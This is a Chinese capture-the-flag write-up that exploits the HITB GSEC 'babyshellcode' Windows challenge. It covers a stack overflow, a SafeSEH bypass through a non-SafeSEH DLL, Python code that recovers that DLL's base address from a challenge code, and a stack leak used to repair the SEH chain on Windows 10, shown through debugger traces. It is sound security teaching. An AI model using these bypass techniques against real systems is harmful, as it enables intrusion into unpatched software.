HITB GSEC CTF Win Pwn解题全记录之babyshellcode
前言
这次在HITB GSEC CTF打酱油,也有了一次学习的机会,这次CTF出现了两道Windows pwn,我个人感觉质量非常高,因为题目出了本身无脑洞的漏洞之外,更多的让选手们专注于对Windows系统的防护机制(seh)原理的研究,再配合漏洞来完成对机制的突破和利用,在我做完之后重新整理整个解题过程,略微有一些窒息的感觉,感觉整个利用链环环相扣,十分精彩,不得不膜一下Atum大佬,题目出的真的好!对于菜鸟来说,是一次非常好的锻炼机会。
因此我认真总结了我们从拿到题目,多种尝试,不断改进exp,到最后获得shell的整个过程,而不仅仅是针对题目,希望能对同样奋斗在win pwn的小伙伴有一些帮助。
Babyshellcode Writeup with SEH and SafeSEH From Windows xp to Windows 10
拿到题目的时候,我们发现程序存在一个很明显的栈溢出,而且题目给的一些条件非常好,在栈结构中存在SEH链,在常规的利用SEH链进行栈溢出从而控制eip的过程中,我们会使用栈溢出覆盖seh handler,这是一个seh chain中的一个指针,它指向了异常处理函数。
但是程序中开启了safeseh,也就是说,单纯的通过覆盖seh handler跳转是不够的,我们首先需要bypass safeseh。
OK,我们来看题目。
在题目主函数中,首先在scmgr.dll中会初始化存放shellcode的堆,调用的是VirtualAlloc函数,并且会打印堆地址。
v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);//注意这里的flprotect是0x40 dword_1000338C = (int)v0; if ( v0 ) { sub_10001020("Global memory alloc at %pn", (char)v0);//打印堆地址 result = dword_1000338C; dword_10003388 = dword_1000338C; }
这里VirtualAlloc中有一个参数是flprotect,值是0x40,表示拥有RWE权限。
#define PAGE_EXECUTE_READWRITE 0x40
这个堆地址会用于存放shellcode,在CreateShellcode函数中会将shellcode拷贝到Memory空间里。
v4 = 0;//v4在最开始拷贝的时候值是0 ⋯⋯ v11 = (int)*(&Memory + v4);//将Memory地址指针交给v11 v13 = getchar(); v14 = 0; if ( v12 ) { do { *(_BYTE *)(v14++ + v15) = v13;//为Memory赋值 v13 = getchar(); } while ( v14 != v12 ); v4 = v16; }
执行结束之后可以看到shellcode已经被拷贝到目标空间中。
随后执行runshellcode指令的时候,会调用“虚函数”,这里用引号表示,其实并不是真正的虚函数,只是虚函数的一种常见调用方法(做了CFG check,这里有个小插曲),实际上调用的是VirtualAlloc出来的堆的地址。
v4 = *(void (**)(void))(v1 + 4); __guard_check_icall_fptr(*(_DWORD *)(v1 + 4)); v4();
可以看到这里有个CFG check,之前我们一直以为环境是Win7,在Win7里CFG没有实装,这个在我之前的一篇IE11浏览器漏洞的文章中也提到过(https://whereisk0shl.top/cve_2017_0037_ie11&edge_type_confusion.html),因此这个Check是没用的,但是后来得知系统是Win10(这个后面会提到),这里会检查指针是否合法,这里无论如何都会合法,因为v1+4位置的值控制不了,这里就是指向堆地址。
这里跳转到堆地址后会由于shellcode头部4字节被修改,导致进入堆地址后是无效的汇编指令。
byte_405448 = 1; puts("Hey, Welcome to shellcode test system!"); if ( byte_405448 ) { v3 = *(_DWORD **)(v1 + 4); memcpy(&Dst, *(const void **)(v1 + 4), *(_DWORD *)(v1 + 8));//这里没有对长度进行控制,造成栈溢出 *v3 = -1; }
byte_405448是一个全局变量is_guard,它在runshellcode里决定了存放shellcode堆指针指向的shellcode前4字节是否改成0xffffffff,这里byte_405448的值是1,因此头部会被修改,而我们也必须进入这里,只有这里才能造成栈溢出。
0:000> g Breakpoint 1 hit eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=00a113f3 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x13f3: 00a113f3 c706ffffffff mov dword ptr [esi],0FFFFFFFFh ds:0023:000e0000=61616161//shellcode头部被修改前正常 0:000> dd e0000 l1 000e0000 61616161 0:000> p eax=002bf7a4 ebx=00000000 ecx=00000000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=00a113f9 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x13f9: 00a113f9 8b7704 mov esi,dword ptr [edi+4] ds:0023:0048e434=000e0000 0:000> dd e0000 l1//头部被修改成0xffffffff 000e0000 ffffffff
随后我们跳转到头部执行,由于指令异常进入异常处理模块。
0:000> p eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=00a11404 esp=002bf794 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x1404: 00a11404 ffd6 call esi {000e0000}//跳转到堆 0:000> t eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=000e0000 esp=002bf790 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 000e0000 ff ???//异常指令 0:000> p//进入异常处理模块 (20f90.20f9c): Illegal instruction - code c000001d (first chance) eax=002bf7a4 ebx=00000000 ecx=000e0000 edx=68bc1100 esi=000e0000 edi=0048e430 eip=770b6bc9 esp=002bf340 ebp=002bf824 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 ntdll!KiUserExceptionDispatcher+0x1: 770b6bc9 8b4c2404 mov ecx,dword ptr [esp+4] ss:0023:002bf344=002bf35c
利用SEH是栈溢出里常见的一种利用方法,在没有SafeSEH和SEHOP的情况下,可以利用seh里一个特殊的结构seh handler,通过覆盖它来完成eip/rip的控制,它指向的是异常处理函数,而加入了safeseh之后,会对sehhandler进行check,检查它是否可信,不可信的话返回0,则不会跳转到seh handler。而这个safeseh的check在ntdll的RtlIsValidHandler函数中,几年前Alex就发了关于这个函数的解读,现在伪代码遍地都是了。
BOOL RtlIsValidHandler(handler) { if (handler is in an image)//step 1 { // 在加载模块的进程空间 if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set) return FALSE; // 该标志设置,忽略异常处理,直接返回FALSE if (image has a SafeSEH table) // 是否含有SEH表 if (handler found in the table) return TRUE; // 异常处理handle在表中,返回TRUE else return FALSE; // 异常处理handle不在表中,返回FALSE if (image is a .NET assembly with the ILonly flag set) return FALSE; // .NET 返回FALSE // fall through } if (handler is on a non-executable page)//step 2 { // handle在不可执行页上面 if (ExecuteDispatchEnable bit set in the process flags) return TRUE; // DEP关闭,返回TRUE;否则抛出异常 else raise ACCESS_VIOLATION; // enforce DEP even if we have no hardware NX } if (handler is not in an image)//step 3 { // 在加载模块内存之外,并且是可执行页 if (ImageDispatchEnable bit set in the process flags) return TRUE; // 允许在加载模块内存空间外执行,返回验证成功 else return FALSE; // don't allow handlers outside of images } // everything else is allowed return TRUE; }
首先我们想到的是利用堆指针来bypass safeseh,正好这个堆地址指向的shellcode,但是由于头部四字节呗修改成了0xffffffff,因此我们只需要覆盖seh handler为heap address+4,然后把shellcode跳过开头4字节编码,头4字节放任意字符串(反正会被编码成0xffffffff),然后后面放shellcode的内容,应该就可以达到利用了(事实证明我too young too naive了,这个方法在win xp下可以用。)
于是我们想到的栈布局如下:
但我们这样执行后,在windows xp下可以完成,但是win7下依然crash了,这就需要我们跟进ntdll!RtlIsValidHandler函数,回头看下伪代码部分。
这里有三步check,首先step1,if是不通过的因为堆地址属于加载进程外的地址,同理step2也是不通过的,因为堆地址申请的时候是可执行的,之所以用堆绕过SafeSEH是因为堆地址属于当前进程加载内存映像空间之外的地址。
0:000> !address e0000 Usage: Allocation Base: 000e0000 Base Address: 000e0000 End Address: 000f4000 Region Size: 00014000 Type: 00020000 MEM_PRIVATE State: 00001000 MEM_COMMIT Protect: 00000040 PAGE_EXECUTE_READWRITE
那么safeseh进入step 3,又是加载模块内存之外的,又是可执行的,在winxp,通过堆绕过是可行的,但是在Win7及以上版本就不行了,为什么呢,因为这里多了一个Check,内容是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE,它决定了是否允许在加载模块内存空间外执行。
这里只有当第六个比特为1时,才是可执行的
这里值是0x4d,也就是1001101,第六个比特是0,也就是MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE是不允许的,因此会return FALSE。
0:000> p eax=00000000 ebx=000e0000 ecx=002bf254 edx=770b6c74 esi=002bf348 edi=00000000 eip=77100224 esp=002bf274 ebp=002bf2b0 iopl=0 nv up ei ng nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000287 ntdll!RtlIsValidHandler+0xff: 77100224 8a450c mov al,byte ptr [ebp+0Ch] ss:0023:002bf2bc=4d 0:000> p eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000 eip=7708f88d esp=002bf2b4 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlIsValidHandler+0xfc: 7708f88d c20800 ret 8 0:000> p eax=00000000 ebx=002bf814 ecx=736f4037 edx=770b6c74 esi=002bf348 edi=00000000 eip=7708f9fe esp=002bf2c0 ebp=002bf330 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlDispatchException+0x10e: 7708f9fe 84c0 test al,al 0:000> r al al=0
通过堆绕过的方法失败了,我们又找到了其他方法,就是通过未开启safeseh的dll的方法来绕过safeseh,这里我们找到了scmgr.dll,它是一个未开启safeseh的模块,这个可以直接通过od的OllySSEH功能看到SafeSEH的开启状态。
这里我们只需要把seh handler指向scmgr.dll就可以了,而且我们在scmgr.dll里发现,其实system('cmd')已经在里面了,只需要跳转过去就可以了。
.text:10001100 public getshell_test .text:10001100 getshell_test proc near ; DATA XREF: .rdata:off_10002518o .text:10001100 push offset Command ; "cmd" .text:10001105 call ds:system .text:1000110B ; 3: return 0; .text:1000110B add esp, 4 .text:1000110E xor eax, eax .text:10001110 retn .text:10001110 getshell_test endp
但是这里有一个问题,就是scmgr.dll的基址是多少,这里我们想了两种方法来获得基址,一个是爆破,因为我们发现scmgr.dll在每次进程重启的时候基址都不变,因此我们只需要在0x60000000-0x8000000之间爆破就可以,0x8000000之上是内核空间的地址了,因此只需要爆破这个范围即可。(由于刚开始以为是win7,所以爆破的时候有一点没有考虑到,导致目标总是crash,我们也找不到原因,本地测试是完全没问题的,后面会提到)。
还有一种方法是我们看到了set shellcodeguard函数,这个就是我们之前提到对is_guard那个全局变量设置的函数,但实际上,这个也没法把这个值置0,毕竟置0之后直接就能撸shellcode了,但我们关注到Disable Shellcode Guard中一个有趣的加密。
puts("1. Disable ShellcodeGuard"); puts("2. Enable ShellcodeGuard"); ⋯⋯ if ( v2 == 1 )//加密在这里 { v3 = ((int (*)(void))sub_4017F0)(); v4 = sub_4017F0(v3); v5 = sub_4017F0(v4); v6 = sub_4017F0(v5); v7 = sub_4017F0(v6); v8 = sub_4017F0(v7); sub_4017C0("Your challenge code is %x-%x-%x-%x-%x-%xn", v8); puts("challenge response:"); v9 = 0; v10 = getchar(); do { if ( v10 == 10 ) break; ++v9; v10 = getchar(); } while ( v9 != 20 ); puts("respose wrong!"); } else//当v2为0的时候是Enable Shellcode Guard,全局变量置1 { if ( v2 == 2 ) { byte_405448 = 1; return 0; } puts("wrong option"); }
这个加密其实很复杂的。
后来官方也给出了hint,Hint for babyshellcode: The algorithm is neither irreversible nor z3-solvable.告诉大家这个加密算法不可逆,别想了!
先我们来看一下这个加密算法加密的什么玩意,我们跟入这个算法。
0:000> p eax=ae7e77d0 ebx=0000001f ecx=0cd4ae6b edx=00000000 esi=00ae7e77 edi=354eaad0 eip=00a11818 esp=0016fcd8 ebp=0016fd08 iopl=0 ov up ei pl nz na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a07 babyshellcode+0x1818: *** WARNING: Unable to verify checksum for C:Userssh1Desktopscmgr.dll *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Userssh1Desktopscmgr.dll - 00a11818 3334955054a100 xor esi,dword ptr babyshellcode+0x5450 (00a15450)[edx*4] ds:0023:00a15450={scmgr!init_scmgr (67bc1090)}
发现在算法初始化的时候,加密的是scmgr!init_scmgr的地址,也就是67bc1090,这个就厉害了,既然不可逆,我们把这个算法dump出来正向爆破去算,如果结果等于最后加密的结果,那就是碰到基址了,这样一是不用频繁和服务器交互,二是及时dll每次进程重启基址都改变,也能直接通过这种方法不令进程崩溃也能获得到基址。
def gen_cha_code(base): init_scmgr = base*0x10000 +0x1090 value = init_scmgr g_table = [value] for i in range(31): value = (value * 69069)&0xffffffff g_table.append(value) g_index = 0 v0 = (g_index-1)&0x1f v2 = g_table[(g_index+3)&0x1f]^g_table[g_index]^(g_table[(g_index+3)&0x1f]>>8) v1 = g_table[v0] v3 = g_table[(g_index + 10) & 0x1F] v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14) v4 = v4&0xffffffff g_table[g_index] = v2^v4 g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7))&0xffffffff g_index = (g_index - 1) & 0x1F return g_table[g_index]
这样,获取到基址之后,我们就能够构造seh handler了,直接令seh handler指向getshell_test就直接能获得和目标的shell交互了。通过栈溢出覆盖seh chain。
0:000> !exchain 0016fcf8: scmgr!getshell_test+0 (67bc1100) Invalid exception stack at 0d16fd74
进入safeseh,由于在nosafeseh空间,返回true,该地址可信。
0:000> p eax=72b61100 ebx=0023f99c ecx=0023f424 edx=770b6c74 esi=0023f4c8 edi=00000000 eip=7708f9f9 esp=0023f438 ebp=0023f4b0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ntdll!RtlDispatchException+0x109: 7708f9f9 e815feffff call ntdll!RtlIsValidHandler (7708f813) 0:000> p eax=0023f401 ebx=0023f99c ecx=73a791c6 edx=00000000 esi=0023f4c8 edi=00000000 eip=7708f9fe esp=0023f440 ebp=0023f4b0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!RtlDispatchException+0x10e: 7708f9fe 84c0 test al,al 0:000> r al al=1
进入call seh handler,跳转到getshell_test。
0:000> p eax=00000000 ebx=00000000 ecx=73a791c6 edx=770b6d8d esi=00000000 edi=00000000 eip=770b6d74 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!ExecuteHandler2+0x21: 770b6d74 8b4d18 mov ecx,dword ptr [ebp+18h] ss:0023:0023f418={scmgr!getshell_test (72b61100)} 0:000> p eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000 eip=770b6d77 esp=0023f3e4 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!ExecuteHandler2+0x24: 770b6d77 ffd1 call ecx {scmgr!getshell_test (72b61100)} 0:000> t eax=00000000 ebx=00000000 ecx=72b61100 edx=770b6d8d esi=00000000 edi=00000000 eip=72b61100 esp=0023f3e0 ebp=0023f400 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 scmgr!getshell_test: 72b61100 68f420b672 push offset scmgr!getshell_test+0xff4 (72b620f4)
到这里利用就完整了吗?我们在win7下没问题了,但是在目标却一直crash掉,实在是搞不明白,后来才知道,我们用错了环境!原来目标是Win10…
Win10的SafeSEH和Win7又有所区别,这里要提到SEH的两个域,一个是prev域和handler域,prev域会存放一个指向下一个seh chain的栈地址,handler域就是存放的seh handler,而Win10里面多了一个Check函数ntdll!RtlpIsValidExceptionChain,这个函数会去获得当前seh chain的prev域的值。
0:000> p//这里我们覆盖prev为0x61616161 eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=030ff278 edi=030fd000 eip=7771ea79 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!RtlpIsValidExceptionChain+0x2b: 7771ea79 8b31 mov esi,dword ptr [ecx] ds:002b:030ff7ac=61616161 0:000> p eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000 eip=7771ea7b esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206 ntdll!RtlpIsValidExceptionChain+0x2d: 7771ea7b 83feff cmp esi,0FFFFFFFFh 0:000> p eax=030fd000 ebx=03100000 ecx=030ff7ac edx=6fdd1100 esi=61616161 edi=030fd000 eip=7771ea7e esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x30: 7771ea7e 740f je ntdll!RtlpIsValidExceptionChain+0x41 (7771ea8f) [br=0]
随后,会去和seh表里存放的prev域的值进行比较。
0:000> p eax=030ff7b4 ebx=03100000 ecx=61616161 edx=6fdd1100 esi=61616161 edi=030fd000 eip=7771ea8a esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x3c: 7771ea8a 8d53f8 lea edx,[ebx-8] 0:000> p eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000 eip=7771ea8d esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x3f: 7771ea8d ebd6 jmp ntdll!RtlpIsValidExceptionChain+0x17 (7771ea65) 0:000> p eax=030ff7b4 ebx=03100000 ecx=61616161 edx=030ffff8 esi=61616161 edi=030fd000 eip=7771ea65 esp=030ff1bc ebp=030ff1c8 iopl=0 nv up ei pl nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000213 ntdll!RtlpIsValidExceptionChain+0x17: 7771ea65 3bc1 cmp eax,ecx//ecx寄存器存放的是栈里被覆盖的,eax存放的是正常的pointer to next chain
可以看到这里检测是不通过的,因此造成了crash,所以,我们需要对seh chain进行fix,把pointer to next chain修改成下一个seh chain的栈地址,这就需要我们获取当前的栈地址,栈地址是自动动态申请和回收的,和堆不一样,因此每次栈地址都会发生变化,我们需要一个stack info leak。
于是我们在程序中找到了这样一个stack info leak的漏洞,开头有个stack info leak,在最开始的位置。
v1 = getchar(); do { if ( v1 == 10 ) break; *((_BYTE *)&v5 + v0++) = v1; v1 = getchar(); } while ( v0 != 300 ); sub_4017C0("hello %sn", &v5); 0:000> g//一字节一字节写入,esi是计数器,ebp-18h是指向拷贝目标的指针 Breakpoint 0 hit eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8 eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x16a4: 000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f920=00 0:000> p eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000000 edi=005488a8 eip=000a16a8 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x16a8: 000a16a8 46 inc esi 0:000> p//获取下一字节 eax=00000061 ebx=7ffde000 ecx=574552e0 edx=00000061 esi=00000001 edi=005488a8 eip=000a16a9 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 babyshellcode+0x16a9: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Userssh1Desktopucrtbase.DLL - 000a16a9 ff15e4300a00 call dword ptr [babyshellcode+0x30e4 (000a30e4)] ds:0023:000a30e4={ucrtbase!getchar (5740b260)} 0:000> p//判断长度 eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8 eip=000a16af esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 babyshellcode+0x16af: 000a16af 81fe2c010000 cmp esi,12Ch 0:000> p eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8 eip=000a16b5 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 babyshellcode+0x16b5: 000a16b5 75e9 jne babyshellcode+0x16a0 (000a16a0) [br=1] 0:000> p//判断是否是回车 eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8 eip=000a16a0 esp=0036f90c ebp=0036f938 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293 babyshellcode+0x16a0: 000a16a0 3c0a cmp al,0Ah 0:000> p eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8 eip=000a16a2 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x16a2: 000a16a2 7413 je babyshellcode+0x16b7 (000a16b7) [br=0] 0:000> p//继续写入 Breakpoint 0 hit eax=00000061 ebx=7ffde000 ecx=574552e0 edx=574552e0 esi=00000001 edi=005488a8 eip=000a16a4 esp=0036f90c ebp=0036f938 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212 babyshellcode+0x16a4: 000a16a4 884435e8 mov byte ptr [ebp+esi-18h],al ss:0023:0036f921=00
这里判断的长度是0x12C,也就是300,但实际上拷贝目标ebp-18很短,而esi会不断增加,而没有做控制,最关键的是这个过程。
.text:004016A4 ; 20: *((_BYTE *)&v5 + v0++) = v1; .text:004016A4 mov byte ptr [ebp+esi+var_18], al .text:004016A8 ; 21: v1 = getchar(); .text:004016A8 inc esi//key!! .text:004016A9 call ds:getchar .text:004016AF ; 23: while ( v0 != 300 ); .text:004016AF cmp esi, 12Ch
这里是在赋值结束之后,才将esi自加1,然后才去做长度判断,然后再跳转去做是否回车的判断,如果回车则退出,也就是说,这里会多造成4字节的内存泄漏,我们来看一下赋值过程中的内存情况。
0:000> dd ebp-18 l7 0036f920 00000061 00000000 00000000 00000000 0036f930 00000000 1ea6b8ab 0036f980
可以看到,在0036f920地址偏移+0x18的位置存放着一个栈地址,也就是说,如果我们让name的长度覆盖到0036f938位置的时候,多泄露的4字节是一个栈地址,这样我们就可以用来fix seh stack了。
有了这个内存泄漏,我们就可以重新构造栈布局了,栈布局如下:
这样,结合之前我们的整个利用过程,完成整个利用链,最后完成shell交互。
